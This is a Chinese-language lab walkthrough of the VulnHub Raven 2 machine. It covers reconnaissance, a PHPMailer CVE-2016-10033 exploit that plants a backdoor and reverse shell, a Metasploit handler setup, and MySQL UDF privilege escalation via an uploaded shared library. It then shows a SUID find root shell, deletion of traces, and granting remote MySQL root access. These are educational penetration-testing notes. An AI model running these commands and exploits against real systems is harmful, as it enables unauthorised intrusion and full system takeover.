VulnHub-Raven: 2(udf webshell上传提权)
本文最后更新于:2024年1月4日 晚上
WP
- 导入靶机,VMware直接:文件-》打开》选择下载好的.ova文件即可
- 编辑,虚拟网络编辑器,默认NAT模式,ok,看到靶机网段是192.168.123.0
WP参考🔗:https://icepeak.icu/2021/07/19/vulnhub-ba-chang-raven2/
https://www.freebuf.com/articles/web/261047.html
主机发现扫描
nmap -sP 192.168.123.0/24
,得到靶机ip:192.168.123.129
==如果攻击机是linux的话,arp-scan -l 也可以==
扫端口
nmap默认扫常用端口nmap 192.168.123.129
80端口开放,扫目录
dirsearch -u 192.168.123.129 -i 200
网站是apache,直接用漏扫工具vulmap,poc master扫一下,都没用洞
flag1
进入/vendor/
随便点点文件,找到flag1,并且给出了网站绝对路径/var/www/html/vendor/
phpmailer getshell
法一:使用searchsploit漏洞库中的POC
进入README.md文件,发现应用phpmailer
它安装的版本是5.2.16,而且readme、security文件都提示这个应用有漏洞,RCE:CVE-2016-10033
msf search一下漏洞
好像不是rce,再用searchsploit搜一下,尝试40974.py文件
searchsploit -m 40974
,下载脚本到当前目录
漏洞详情:https://github.com/opsxcq/exploit-CVE-2016-10033
漏洞页面:
就跟之前漏扫的contact.php很像
exp会生成后门文件
直接运行py文件报错,提示没有模块,pip install 就行了,然后看一下py文件内容再运行
修改一下其中的内容+参数
- 开头,防止乱码出现错误
#!/usr/bin/python
# -*- coding: utf-8 -*-
- backdoor为生成的后门文件,名字自定
然后kali运行py文件
网页访问contact.php,会生成后门hello.php,然后kali监听本地4444端口(提前开放)
访问http://192.168.123.129/hello.php,一直在转,而kali这边收到shell
进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
法二:msf一键利用exp
这里没有用msf,后续发现msf
也有exp,可以直接用,操作类似,info 0
查看exp详情
见https://www.freebuf.com/articles/web/261047.html
注意,一开始运行失败,后门切换到root就可以了,不知道为啥,可能是权限不够
这里也可以像法1一样用searsploit的脚本然后用msf的handle模块监听即可
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.123.134
lhost => 192.168.123.134
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run
msf可能卡在收到session,但一直进不去,可以ctrl c先退出监听,再sessions -i进入
flag2
进入到工作目录,得到flag2
找flag文件
find / -name flag*
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
flag3
命令行怎么看png图片?
--去浏览器看
--eog命令、还有其他需安装的工具命令也可以
成功得到flag3
那flag4就是msf提权才能拿到了,通过udf提权使得在mysql执行系统root才能访问的命令,比如看/root
msf提权
udf提权的利用条件以及数据库版本问题
获得一个数据库账号,拥有MySQL的insert和delete权限,最好是root。 拥有将udf.dll写入相应目录的权限。(secure_file_priv为空)
查看本地开放端口,netstat -lpnut
3306开放,这里127.0.0.1表示只对本地开放
搜索一下mysql目录,没看到config相关文件,想到是wordpress,cms配置文件看下:wp-config.php
因为wordpress搭建网站肯定有数据库配置文件的,通过它寻找数据库账号密码
得到MySQL账号密码root、R@v3nSecurity
登录mysql后信息搜集一下
查看版本、用户、mysql目录,可以看到mysql是root权限
select @@secure_file_priv;查看有没有文件操作权限
使用 select @@plugin_dir 查看当前数据库扩展插件存放的位置
也可以
show variables like '%plugin%';
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来
mysql> select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+
法一:使用metasploit自带的动态链接库手动写入
可以直接在msf里使用searchsploit
searchsploit 1518
写入动态链接库
如果存在SQL注入的话,可以通过sqlmap参数来上传动态链接库,但需要满足一定条件
没有注入的话,用SQL语句,条件:secure_file_priv 无限制
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里好像因为文件内容太长,写不进去文件,但是测试发现是可以写入短的
那就换种方法,wget下载下来:kali开启http服务,靶机下载到本机然后mysql读取文件导入到plugin
1.python3 -m http.server 80 /运行在哪个目录,网站的根目录就在哪
2.php -S 0.0.0.0:8080 /同上,可以使用-t指定目录。
3.ruby -run -e httpd . -p 9000
4.busybox httpd -f -p 3333
msf动态链接库位置:
whereis metasploit-framework
cd /usr/share/metasploit-framework
cd ./data/exploits/mysql
复制so文件到桌面,然后在桌面运行web服务,就可以在靶机上wget下载文件了
靶机shell下载:
然后进入MySQL,利用into file写入so文件
mysql -uroot -pR@v3nSecurity
select load_file('/var/www/html/lib_mysqludf_sys_64.so') into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; //outfile会有特殊的转换,而dumpfile是原数据导出
绑定函数到动态链接库
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';
使用系统函数
注意:MySQL msf udf提权后不像以前一样返回一个shell操作,需要继续在mysql执行语句进行后续操作以验证
验证一下:MySQL查询添加的函数
select * from mysql.func;
利用自定义函数改变find命令权限
select sys_exec('chmod u+s /usr/bin/find');
flag4
之前找的flag地址:
- 直接利用函数查看flag文件:
select sys_eval('find / -name flag*');
select sys_eval('cat /root/flag4.txt'); //成功拿到flag4
- 也可以suid提权,赋予命令root权限,然后去执行命令的exec参数即可进入root的shell
select sys_eval('chmod u+s /usr/bin/find');
//给find命令所有者的suid权限,使其可以执行root命令,之后可以退出mysql,在www的shell下使用/usr/bin/find执行root权限
touch aaa
find aaa -exec "/bin/sh" \;
//在当前目录下找到aaa文件执行/bin/sh提权,反斜杠 \ 代表结束的标志,与”/bin/sh“ 之间有一个空格
//这就进入了root的shell,可以直接找flag,也可以上传个msf到msf执行后续操作
后续操作,删除痕迹:删除自定义函数
drop function sys_exec;
Delete from mysql.func where name='sys_exec';
法二:一键msf操作(失败)
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
先开启外连,why?
https://blog.csdn.net/weixin_30481539/article/details/113632851
提权是从MySQL的root提到系统的root
默认root不外连,msf布置在另一台机器,需开启外连才能提权(在蚁剑/shell/能执行mysql语句的地方)
1. mysql -uroot -pR@v3nSecurity
2. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION; //"%"表示任何主机都可以远程登录到该服务器上访问
3. flush privileges; // 因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
4. 修改/etc/mysql/my.cnf,需要**root用户权限**。找到文件中的:bind-address = 127.0.0.1将其注释掉,保存
需满足3个条件才能外连,这里shell权限太低,不能改配置文件,无法外连
后续发现要想使用mysql_udf_payload模块 MySQL需适应于5.5.9以下,这里靶机的mysql版本号为5.5.60,已经超出了版本限制,所以也不能提权
更多方法:
连上webshell后/可以上传文件的情况下,上传udf.php大马
一些知识点
xshell上传下载文件
利用xshell的rz 、sz
下载vps上searchsploit生成的exp
运行rz,会将windows的文件传到linux服务器
运行sz filename,会将文件下载到windows本地
iptables开放端口
【A是末尾追加,I是第一行追加】
iptables -A INPUT -ptcp --dport 端口号-j ACCEPT
https://blog.csdn.net/weixin_37264997/article/details/80329786
验证开没开放:监听后nmap扫一下,有就是开放了
MySQL查看当前用户
select user();
SELECT CURRENT_USER();
升级完整性交互式shell
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python回显标头
[root@localhost ~]# ^Z # ctrl + z 按键 挂起正在运行的程序
root@kali64:~# stty raw -echo # 输入这句后 在输入命令终端不在显示
root@kali64:~# fg # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车
[root@localhost ~]# reset # 将终端恢复至原始状态,之前的终端输入操作信息将都会被清空
[root@localhost ~]# export SHELL=bash
linux快速开启http
kali中搭建简单http服务的四种方法(其中几种在其他linux中也适用)
出现的问题
py模块下载问题
本地win10运行exp的py文件时显示没有模块,下载模块又报错
谷歌发现是开代理的原因,把win代理关了就ok了
win10问题
运行exp后监听端口没收到,估计是要开放win10端口,为了安全起见还是不开了,转去kali好了
win10 开启端口:https://www.jianshu.com/p/11df41ddfcdb
Win10 开放防火墙中某一端口:https://blog.csdn.net/nihaize0520/article/details/80714108
开放了端口,为什么nmap扫不到呢?
只有端口使用时nmap才扫得到
32位?64位?
mysql如何查看是32位还是64位?
mysql -V或mysql --version
进入mysql,输入命令:show variables like '%version_%';
或show variables like '%compile%';
X64 表示64位
X86 表示32位
只带有win32.x86字样的是32位,带有win32.x86_64字样的是64位的。
这里看出是64位的,应该用64位的so文件
Win32 -> 指的就是Windows系统; 64 bit- > 指的是Windows是64位的; AMD64 -> 指的就是 CPU是x64的
开启外连失败?
https://blog.csdn.net/cj_Allen/article/details/104107013
Linux的netstat查看端口是否开放见解(0.0.0.0与127.0.0.1的区别)
- 需要确定防火墙没有阻止3306端口,否则是无法通过3306端口连接到myql的。
netstat -ano |find "3306"
可以看到local
address是127.0.0.1:3306说明当前的连接只是针对服务器本身的,此时是未开启外连的,也就是说其他处于公网的ip无法通过mysql
-h114.116.30.20 -uroot -p连接到当前数据库(图上红圈圈错了)
==Local==:访问端口的方式,0.0.0.0 是对外开放端口,说明3306端口外面可以访问;127.0.0.1 说明只能对本机访问,外面访问不了此端口;
Foregin Address:对外开放,一般都为0.0.0.0:*
- 3306被绑定到了本地。检查一下my.cnf的配置,这里可以配置绑定ip地址。
bind-address=addr
不配置或者IP配置为0.0.0.0,表示监听所有客户端连接。如果是127.0.0.1:表示只能本地登录
但是靶机这里,my.cnf,www-data是不能编辑的,只能read
配置文件里已经写死了ip
- 检查MySQL用户权限:
MySQL建用户的时候会指定一个host,默认是127.0.0.1/localhost,那么这个用户就只能本机访问,其它机器用这个用户帐号访问会提示没有权限,host改为%,表示允许所有机器访问。
要想外连,需三个条件同时满足才行,这里只能满足3,所以不能外连
博客文章采用 CC BY-SA 4.0 协议 ,转载请注明出处,有疑问欢迎联系:)